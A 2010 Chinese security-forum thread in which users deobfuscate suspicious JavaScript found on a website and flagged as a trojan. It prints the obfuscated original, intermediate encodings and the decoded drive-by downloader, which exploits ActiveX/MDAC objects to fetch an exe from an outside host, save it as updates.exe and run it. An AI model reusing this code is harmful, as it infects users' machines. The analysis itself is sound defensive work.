可疑代码---（版主已经提供的解密方法，详情6L）

显示全部楼层 · 发表于 2010-5-10 10:43:55

本帖最后由幸福的猪猪于 2010-5-10 16:22 编辑

<script>function c122509958767n4be1f708e78dc(n4be1f708e78ea){ function n4be1f708e78f7(){var n4be1f708e7901=16;return n4be1f708e7901;} return (parseInt(n4be1f708e78ea,n4be1f708e78f7()));}function n4be1f708e7926(n4be1f708e7930){ var n4be1f708e794e=2; var n4be1f708e7939='';n4be1f708e7972=String.fromCharCode;for(n4be1f708e7942=0;n4be1f708e7942<n4be1f708e7930.length;n4be1f708e7942+=n4be1f708e794e){ n4be1f708e7939+=(n4be1f708e7972(c122509958767n4be1f708e78dc(n4be1f708e7930.substr(n4be1f708e7942,n4be1f708e794e))));}return n4be1f708e7939;} var x70='';var n4be1f708e7988='3C7'+x70+'3637'+x70+'2697'+x70+'07'+x70+'43E696628216D7'+x70+'96961297'+x70+'B646F637'+x70+'56D656E7'+x70+'42E7'+x70+'7'+x70+'7'+x70+'2697'+x70+'465287'+x70+'56E657'+x70+'363617'+x70+'065282027'+x70+'2533632536392536362537'+x70+'322536312536642536352532302536652536312536642536352533642536332533312533322532302537'+x70+'332537'+x70+'32253633253364253237'+x70+'2536382537'+x70+'342537'+x70+'342537'+x70+'302533612532662532662537'+x70+'322536352536332536662537'+x70+'362536352537'+x70+'322533382533382533382533382533382532652536332536662536642532662536352536622532662536392536652536342536352537'+x70+'382532652537'+x70+'302536382537'+x70+'302533662537'+x70+'33253364253337'+x70+'253633253337'+x70+'253330253634253634253339253636253337'+x70+'253338253632253632253337'+x70+'253330253333253631253333253331253633253632253334253633253632253338253337'+x70+'25333325333425363625363225333425333325333126253237'+x70+'2532622534642536312537'+x70+'342536382532652537'+x70+'322536662537'+x70+'352536652536342532382534642536312537'+x70+'342536382532652537'+x70+'32253631253665253634253666253664253238253239253261253331253330253331253338253333253330253239253262253237'+x70+'253331253335253237'+x70+'2532302537'+x70+'37'+x70+'2536392536342537'+x70+'34253638253364253331253337'+x70+'253330253230253638253635253639253637'+x70+'2536382537'+x70+'342533642533352533392533392532302537'+x70+'332537'+x70+'342537'+x70+'39253663253635253364253237'+x70+'2536342536392537'+x70+'332537'+x70+'302536632536312537'+x70+'39253361253230253665253666253665253635253237'+x70+'2533652533632532662536392536362537'+x70+'3225363125366425363525336527'+x70+'29293B7'+x70+'D7'+x70+'6617'+x70+'2206D7'+x70+'969613D7'+x70+'47'+x70+'27'+x70+'5653B3C2F7'+x70+'3637'+x70+'2697'+x70+'07'+x70+'43E';document.write(n4be1f708e7926(n4be1f708e7988));</script>

复制代码

是国内某网站上面的可疑代码，卡巴斯基启发式报警。（已经把这份代码上报给卡巴斯基）

Hello,

[1].htm_ - Trojan.JS.Iframe.lw

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

显示全部楼层 · 发表于 2010-5-10 11:02:08

确实可疑，但代码好象不全阿

显示全部楼层 · 发表于 2010-5-10 11:08:58

本帖最后由幸福的猪猪于 2010-5-10 16:22 编辑

回复 2# sunjushi

不会吧，我还以为是完整的挂马代码呢。

附上：

hxxp://recover88888.com/ek/index.php?s=7c70dd9f78bb703a31cb4cb8734fb431&

解析出来的代码。

<html><body><script type='text/javascript' src='q.php'></script><script>
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30T30T30T2dT30T30T30T30T30T30T30T30T30T30T34T36T25T32T37T25T32T43T25T3\
2T37T36T65T33T32T30T37T30T61T2dT37T36T36T64T2dT34T65T65T36T2dT38T37T39\
T63T2dT64T63T31T66T61T39T31T64T32T66T63T33T25T32T37T25T32T43T25T32T37T\
36T34T31T34T35T31T32T42T2dT42T39T37T38T2dT34T35T31T44T2dT41T30T44T38T2\
dT46T43T46T44T46T33T33T45T38T33T33T43T25T32T37T25T32T43T25T32T37T37T46\
T35T42T37T46T36T33T2dT46T30T36T46T2dT34T33T33T31T2dT38T41T32T36T2dT33T\
33T39T45T30T33T43T30T41T45T33T44T25T32T37T25T32T43T25T32T37T30T36T37T3\
2T33T45T30T39T2dT46T34T43T32T2dT34T33T63T38T2dT38T33T35T38T2dT30T39T46\
T43T44T31T44T42T30T37T36T36T25T32T37T25T32T43T25T32T37T36T33T39T46T37T\
32T35T46T2dT31T42T32T44T2dT34T38T33T31T2dT41T39T46T44T2dT38T37T34T38T3\
4T37T36T38T32T30T31T30T25T32T37T25T32T43T25T32T37T42T41T30T31T38T35T39\
T39T2dT31T44T42T33T2dT34T34T66T39T2dT38T33T42T34T2dT34T36T31T34T35T34T\
43T38T34T42T46T38T25T32T37T25T32T43T25T32T37T44T30T43T30T37T44T35T36T2\
dT37T43T36T39T2dT34T33T46T31T2dT42T34T41T30T2dT32T35T46T35T41T31T31T46\
T41T42T31T39T25T32T37T25T32T43T25T32T37T45T38T43T43T43T44T44T46T2dT43T\
41T32T38T2dT34T39T36T62T2dT42T30T35T30T2dT36T43T30T37T43T39T36T32T34T3\
7T36T42T25T32T37T25T32T43T6eT75T6cT6cT25T32T39T25T33T42T25T30T41T77T68\
T69T6cT65T25T32T38T65T35T51T58T35T4aT71T77T78T6bT72T64T25T35T42T4fT32T\
43T4aT66T49T42T74T54T4aT77T25T35T44T25T32T39T25T30T41T25T37T42T25T30T4\
1T76T61T72T25T32T30T47T55T34T67T4cT7aT64T36T72T44T42T25T33T44T6eT75T6c\
T6cT25T33T42T25T30T41T47T55T34T67T4cT7aT64T36T72T44T42T25T33T44T64T6fT\
63T75T6dT65T6eT74T2eT63T72T65T61T74T65T45T6cT65T6dT65T6eT74T25T32T38T2\
5T32T32T6fT62T6aT65T63T74T25T32T32T25T32T39T25T33T42T25T30T41T47T55T34\
T67T4cT7aT64T36T72T44T42T2eT73T65T74T41T74T74T72T69T62T75T74T65T25T32T\
38T25T32T32T63T6cT61T73T73T69T64T25T32T32T25T32T43T25T32T32T63T6cT73T6\
9T64T25T33T41T25T32T32T25T32T42T65T35T51T58T35T4aT71T77T78T6bT72T64T25\
T35T42T4fT32T43T4aT66T49T42T74T54T4aT77T25T35T44T25T32T39T25T33T42T25T\
30T41T69T66T25T32T38T47T55T34T67T4cT7aT64T36T72T44T42T25T32T39T25T37T4\
2T74T72T79T25T37T42T76T61T72T25T32T30T63T33T76T52T47T32T37T63T42T73T30\
T25T33T44T4cT6cT61T34T79T52T54T63T41T76T72T25T32T38T47T55T34T67T4cT7aT\
64T36T72T44T42T25T32T43T25T32T32T53T25T32T32T25T32T42T25T32T32T68T65T2\
5T32T32T25T32T42T25T32T32T6cT25T32T32T25T32T42T25T32T32T6cT2eT41T70T70\
T25T32T32T25T32T42T25T32T32T6cT69T63T61T25T32T32T25T32T42T25T32T32T74T\
69T25T32T32T25T32T42T25T32T32T6fT6eT25T32T32T25T32T39T25T33T42T25T30T4\
1T69T66T25T32T38T63T33T76T52T47T32T37T63T42T73T30T25T32T39T25T37T42T69\
T66T25T32T38T75T61T50T4dT69T52T31T73T4aT72T64T25T32T38T47T55T34T67T4cT\
7aT64T36T72T44T42T25T32T39T25T32T39T72T65T74T75T72T6eT25T32T30T31T25T3\
3T42T25T37T44T25T37T44T63T61T74T63T68T25T32T38T65T25T32T39T25T37T42T25\
T37T44T25T37T44T25T30T41T4fT32T43T4aT66T49T42T74T54T4aT77T25T32T42T25T\
32T42T25T33T42T25T30T41T25T37T44T25T30T41T25T37T44T25T30T41T65T35T51T5\
8T35T4aT71T77T78T6bT72T25T32T38T25T32T39T25T33T42T25T30T41T25T30T41T25\
T30T41T66T75T6eT63T74T69T6fT6eT25T32T30T64T6fT72T65T66T72T65T73T68T25T\
32T38T25T32T39T25T37T42T25T32T30T25T30T41T77T69T6eT64T6fT77T2eT6cT6fT6\
3T61T74T69T6fT6eT25T33T44T25T32T32T25T33T46T73T70T6cT25T33T44T32T25T32\
T36T62T72T25T33T44T4dT53T49T45T25T32T36T76T65T72T73T25T33T44T36T2eT30T\
25T32T36T73T25T33T44T37T63T37T30T64T64T39T66T37T38T62T62T37T30T33T61T3\
3T31T63T62T34T63T62T38T37T33T34T66T62T34T33T31T25T32T32T25T33T42T25T32\
T30T25T30T41T25T37T44T25T32T30T25T30T41T73T65T74T54T69T6dT65T6fT75T74T\
25T32T38T25T32T32T64T6fT72T65T66T72T65T73T68T25T32T38T25T32T39T25T33T4\
2T25T32T32T25T32T43T32T30T30T30T25T32T39T25T33T42T25T30T41\
';
y2cdf(QXjGLTS6VglyBSX);
</script>

复制代码

显示全部楼层 · 发表于 2010-5-10 11:23:36

回复 sunjushi

不会吧，我还以为是完整的挂马代码呢。
幸福的猪猪发表于 2010-5-10 11:08

是完整代码啊，从上面代码解出http://recover88888.com/ek/index ... 734fb431&956815，这个地址还需进一步解密，粗略看了下里面包含有个pdf文件，现在忙没空仔细看，下午再解

显示全部楼层 · 发表于 2010-5-10 11:26:13

回复 4# 250662772

我就只看到那个exe后缀名的。。。膜拜高人。

p.s. 下午回来，学习解密知识。

显示全部楼层 · 发表于 2010-5-10 14:15:34

回复 250662772

我就只看到那个exe后缀名的。。。膜拜高人。

p.s. 下午回来，学习解密知识。 ...
幸福的猪猪发表于 2010-5-10 11:26

把上面的代码去掉字母 T和\,然后16进制解密

25304176617225323073394f366f6e3932643072253344253237687474702533412532462532467265636f76657238383838382e636f6d253246656b25324676696577666f72756d2e706870253246623130666465373363366363346135653835666435346632316432353064653125334673706c2533446d64616325323725334225304166756e6374696f6e2532304c6c613479525463417672253238473647706261764c563756253243543538424345727577787925323925374225304176617225323064623550676d53534256622533446e756c6c25334225304174727925374264623550676d5353425662253344473647706261764c5637562e4372656174654f626a6563742532385435384243457275777879253239253744636174636825323865253239253742253744253041696625323825323164623550676d535342566225323925374274727925374264623550676d5353425662253344473647706261764c5637562e4372656174654f626a6563742532385435384243457275777879253243253232253232253239253744636174636825323865253239253742253744253744253041696625323825323164623550676d535342566225323925374274727925374264623550676d5353425662253344473647706261764c5637562e4372656174654f626a6563742532385435384243457275777879253243253232253232253243253232253232253239253744636174636825323865253239253742253744253744253041696625323825323164623550676d535342566225323925374274727925374264623550676d5353425662253344473647706261764c5637562e4765744f626a6563742532382532322532322532435435384243457275777879253239253744636174636825323865253239253742253744253744253041696625323825323164623550676d535342566225323925374274727925374264623550676d5353425662253344473647706261764c5637562e4765744f626a6563742532385435384243457275777879253243253232253232253239253744636174636825323865253239253742253744253744253041696625323825323164623550676d535342566225323925374274727925374264623550676d5353425662253344473647706261764c5637562e4765744f626a656374253238543538424345727577787925323925374463617463682532386525323925374225374425374425304172657475726e25323864623550676d535342566225323925334225304125374425304166756e6374696f6e2532307561504d695231734a7264253238475534674c7a64367244422532392537422530416f346e697a304536654c30253344253232757064617465732e6578652532322533427661722532304976634c4f46564a376a76253344475534674c7a64367244422e4372656174654f626a656374253238253232536372697074696e672e46696c6553797374656d4f626a6563742532322532432532322532322532392533422530417661722532307361702533444c6c613479525463417672253238475534674c7a64367244422532432532325368253232253242253232652532322532422532326c2532322532422532326c2e4170702532322532422532326c25323225324225323269636125323225324225323274253232253242253232692532322532422532326f6e25323225323925334225304176617225323051584d314f47784c464c712533444c6c613479525463417672253238475534674c7a643672444225324325323241444f44422e53747265616d25323225323925334225304176617225323045306278633539386668682533446e756c6c2533426f346e697a304536654c302533444976634c4f46564a376a762e4275696c64506174682532384976634c4f46564a376a762e4765745370656369616c466f6c646572253238322532392532436f346e697a304536654c3025323925334251584d314f47784c464c712e4d6f64652533443325334225304174727925374245306278633539386668682533444c6c613479525463417672253238475534674c7a64367244422532432532324d6963253232253242253232726f253232253242253232736f25323225324225323266742e584d2532322532422532324c4825323225324225323254253232253242253232545025323225323925334245306278633539386668682e6f70656e25323825323247253232253242253232455425323225324373394f366f6e393264307225324366616c736525323925334225374425304163617463682532386525323925374274727925374245306278633539386668682533444c6c613479525463417672253238475534674c7a64367244422532432532324d53582532322532422532324d2532322532422532324c322e584d4c2532322532422532324854253232253242253232545025323225323925334245306278633539386668682e6f70656e25323825323247452532322532422532325425323225324373394f366f6e393264307225324366616c736525323925334225374425304163617463682532386525323925374274727925374245306278633539386668682533444c6c613479525463417672253238475534674c7a64367244422532432532324d25323225324225323253582532322532422532324d4c322e536525323225324225323272762532322532422532326572582532322532422532324d4c4854253232253242253232545025323225323925334245306278633539386668682e6f70656e25323825323247455425323225324373394f366f6e393264307225324366616c736525323925334225374425304163617463682532386525323925304125374225304174727925304125374225304145306278633539386668682533446e6577253230584d4c487474705265717565737425323825323925334225304145306278633539386668682e6f70656e25323825323247455425323225324373394f366f6e393264307225324366616c736525323925334225304125374425304163617463682532386525323925374272657475726e2532303025334225374425374425374425374425304151584d314f47784c464c712e547970652533443125334245306278633539386668682e73656e642532386e756c6c253239253342726225334445306278633539386668682e726573706f6e7365426f647925334251584d314f47784c464c712e4f70656e25323825323925334251584d314f47784c464c712e5772697465253238726225323925334251584d314f47784c464c712e53617665546f66696c652532386f346e697a304536654c30253243322532392533427361702e5368656c6c457865637574652532386f346e697a304536654c3025323925334225304172657475726e2532303125334225304125374425304166756e6374696f6e25323065355158354a7177786b722532382532392537422530417661722532304f32434a66494274544a772533443025334225304176617225323065355158354a7177786b72642533446e6577253230417272617925323825323742443936433535362d363541332d313144302d393833412d30304330344643323945333625323725324325323742443936433535362d363541332d313144302d393833412d30304330344643323945333025323725324325323741423942434544442d454337452d343745312d393332322d44344132313036313731313625323725324325323730303036463033332d303030302d303030302d433030302d30303030303030303030343625323725324325323730303036463033412d303030302d303030302d433030302d30303030303030303030343625323725324325323736653332303730612d373636642d346565362d383739632d64633166613931643266633325323725324325323736343134353132422d423937382d343531442d413044382d46434644463333453833334325323725324325323737463542374636332d463036462d343333312d384132362d33333945303343304145334425323725324325323730363732334530392d463443322d343363382d383335382d30394643443144423037363625323725324325323736333946373235462d314232442d343833312d413946442d38373438343736383230313025323725324325323742413031383539392d314442332d343466392d383342342d34363134353443383442463825323725324325323744304330374435362d374336392d343346312d423441302d32354635413131464142313925323725324325323745384343434444462d434132382d343936622d423035302d3643303743393632343736422532372532436e756c6c2532392533422530417768696c6525323865355158354a7177786b72642535424f32434a66494274544a77253544253239253041253742253041766172253230475534674c7a64367244422533446e756c6c253342253041475534674c7a6436724442253344646f63756d656e742e637265617465456c656d656e742532382532326f626a656374253232253239253342253041475534674c7a64367244422e736574417474726962757465253238253232636c6173736964253232253243253232636c73696425334125323225324265355158354a7177786b72642535424f32434a66494274544a772535442532392533422530416966253238475534674c7a643672444225323925374274727925374276617225323063337652473237634273302533444c6c613479525463417672253238475534674c7a64367244422532432532325325323225324225323268652532322532422532326c2532322532422532326c2e4170702532322532422532326c69636125323225324225323274692532322532422532326f6e2532322532392533422530416966253238633376524732376342733025323925374269662532387561504d695231734a7264253238475534674c7a643672444225323925323972657475726e253230312533422537442537446361746368253238652532392537422537442537442530414f32434a66494274544a7725324225324225334225304125374425304125374425304165355158354a7177786b7225323825323925334225304125304125304166756e6374696f6e253230646f7265667265736825323825323925374225323025304177696e646f772e6c6f636174696f6e25334425323225334673706c2533443225323662722533444d53494525323676657273253344362e3025323673253344376337306464396637386262373033613331636234636238373334666234333125323225334225323025304125374425323025304173657454696d656f7574253238253232646f7265667265736825323825323925334225323225324332303030253239253342253041

最后解得

var s9O6on92d0r='http://recover88888.com/ek/viewforum.php/b10fde73c6cc4a5e85fd54f21d250de1?spl=mdac';
function Lla4yRTcAvr(G6GpbavLV7V,T58BCEruwxy){
var db5PgmSSBVb=null;
try{db5PgmSSBVb=G6GpbavLV7V.CreateObject(T58BCEruwxy)}catch(e){}
if(!db5PgmSSBVb){try{db5PgmSSBVb=G6GpbavLV7V.CreateObject(T58BCEruwxy,"")}catch(e){}}
if(!db5PgmSSBVb){try{db5PgmSSBVb=G6GpbavLV7V.CreateObject(T58BCEruwxy,"","")}catch(e){}}
if(!db5PgmSSBVb){try{db5PgmSSBVb=G6GpbavLV7V.GetObject("",T58BCEruwxy)}catch(e){}}
if(!db5PgmSSBVb){try{db5PgmSSBVb=G6GpbavLV7V.GetObject(T58BCEruwxy,"")}catch(e){}}
if(!db5PgmSSBVb){try{db5PgmSSBVb=G6GpbavLV7V.GetObject(T58BCEruwxy)}catch(e){}}
return(db5PgmSSBVb);
}
function uaPMiR1sJrd(GU4gLzd6rDB){
o4niz0E6eL0="updates.exe";var IvcLOFVJ7jv=GU4gLzd6rDB.CreateObject("Scripting.FileSystemObject","");
var sap=Lla4yRTcAvr(GU4gLzd6rDB,"Sh"+"e"+"l"+"l.App"+"l"+"ica"+"t"+"i"+"on");
var QXM1OGxLFLq=Lla4yRTcAvr(GU4gLzd6rDB,"ADODB.Stream");
var E0bxc598fhh=null;o4niz0E6eL0=IvcLOFVJ7jv.BuildPath(IvcLOFVJ7jv.GetSpecialFolder(2),o4niz0E6eL0);QXM1OGxLFLq.Mode=3;
try{E0bxc598fhh=Lla4yRTcAvr(GU4gLzd6rDB,"Mic"+"ro"+"so"+"ft.XM"+"LH"+"T"+"TP");E0bxc598fhh.open("G"+"ET",s9O6on92d0r,false);}
catch(e){try{E0bxc598fhh=Lla4yRTcAvr(GU4gLzd6rDB,"MSX"+"M"+"L2.XML"+"HT"+"TP");E0bxc598fhh.open("GE"+"T",s9O6on92d0r,false);}
catch(e){try{E0bxc598fhh=Lla4yRTcAvr(GU4gLzd6rDB,"M"+"SX"+"ML2.Se"+"rv"+"erX"+"MLHT"+"TP");E0bxc598fhh.open("GET",s9O6on92d0r,false);}
catch(e)
{
try
{
E0bxc598fhh=new XMLHttpRequest();
E0bxc598fhh.open("GET",s9O6on92d0r,false);
}
catch(e){return 0;}}}}
QXM1OGxLFLq.Type=1;E0bxc598fhh.send(null);rb=E0bxc598fhh.responseBody;QXM1OGxLFLq.Open();QXM1OGxLFLq.Write(rb);QXM1OGxLFLq.SaveTofile(o4niz0E6eL0,2);sap.ShellExecute(o4niz0E6eL0);
return 1;
}
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显示全部楼层 · 发表于 2010-5-10 14:16:21

解出的上面几个地址我这里暂时无法读取

显示全部楼层 · 发表于 2010-5-10 14:33:43

看代码风格应该是利用自动化生成工具（猜测是metasploit ）生成的一堆的变量看的蛋疼

显示全部楼层 · 发表于 2010-5-10 15:35:18

本帖最后由幸福的猪猪于 2010-5-10 16:36 编辑

回复 7# 250662772

谢谢你的精彩解析。

p.s.我好像从你解析出来的地址中，弄出一个pdf文件了？(我这边可以下载到PDF文件，并且上传一份。样本已经上报卡巴斯基。）

PDF文件的下载地址（不晓得是不是那个含有恶意代码的文件）hxxp://recover88888.com/ek/chat.php

[已鉴定] 可疑代码---（版主已经提供的解密方法，详情6L）